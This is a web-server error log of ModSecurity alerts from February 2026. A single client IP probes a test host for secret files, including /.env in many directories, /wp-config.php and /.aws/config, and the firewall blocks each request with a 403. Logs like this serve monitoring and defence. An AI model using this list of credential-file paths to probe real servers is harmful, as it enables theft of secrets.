[Thu Feb 26 01:02:44.214768 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAwAAAAE&quot;]
[Thu Feb 26 01:02:44.247521 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBAAAAAE&quot;]
[Thu Feb 26 01:02:44.247747 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBAAAAAE&quot;]
[Thu Feb 26 01:02:44.247884 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBAAAAAE&quot;]
[Thu Feb 26 01:02:44.278454 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBQAAAAE&quot;]
[Thu Feb 26 01:02:44.278680 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBQAAAAE&quot;]
[Thu Feb 26 01:02:44.278842 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBQAAAAE&quot;]
[Thu Feb 26 01:02:44.323000 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNQAAAAQ&quot;]
[Thu Feb 26 01:02:44.323303 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNQAAAAQ&quot;]
[Thu Feb 26 01:02:44.323481 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNQAAAAQ&quot;]
[Thu Feb 26 01:02:44.328224 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBgAAAAE&quot;]
[Thu Feb 26 01:02:44.328467 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBgAAAAE&quot;]
[Thu Feb 26 01:02:44.328613 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBgAAAAE&quot;]
[Thu Feb 26 01:02:44.353661 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBwAAAAE&quot;]
[Thu Feb 26 01:02:44.353881 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBwAAAAE&quot;]
[Thu Feb 26 01:02:44.354031 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhBwAAAAE&quot;]
[Thu Feb 26 01:02:44.405899 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhCAAAAAE&quot;]
[Thu Feb 26 01:02:44.406124 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhCAAAAAE&quot;]
[Thu Feb 26 01:02:44.406266 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhCAAAAAE&quot;]
[Thu Feb 26 01:02:44.408142 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNwAAAAQ&quot;]
[Thu Feb 26 01:02:44.408359 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNwAAAAQ&quot;]
[Thu Feb 26 01:02:44.408512 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHNwAAAAQ&quot;]
[Thu Feb 26 01:02:44.488094 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyZwAAAAA&quot;]
[Thu Feb 26 01:02:44.488313 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyZwAAAAA&quot;]
[Thu Feb 26 01:02:44.488463 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyZwAAAAA&quot;]
[Thu Feb 26 01:02:44.512854 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaAAAAAA&quot;]
[Thu Feb 26 01:02:44.513068 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaAAAAAA&quot;]
[Thu Feb 26 01:02:44.513231 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaAAAAAA&quot;]
[Thu Feb 26 01:02:44.540693 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaQAAAAA&quot;]
[Thu Feb 26 01:02:44.540910 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaQAAAAA&quot;]
[Thu Feb 26 01:02:44.541061 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyaQAAAAA&quot;]
[Thu Feb 26 01:02:44.619451 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyagAAAAA&quot;]
[Thu Feb 26 01:02:44.619676 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyagAAAAA&quot;]
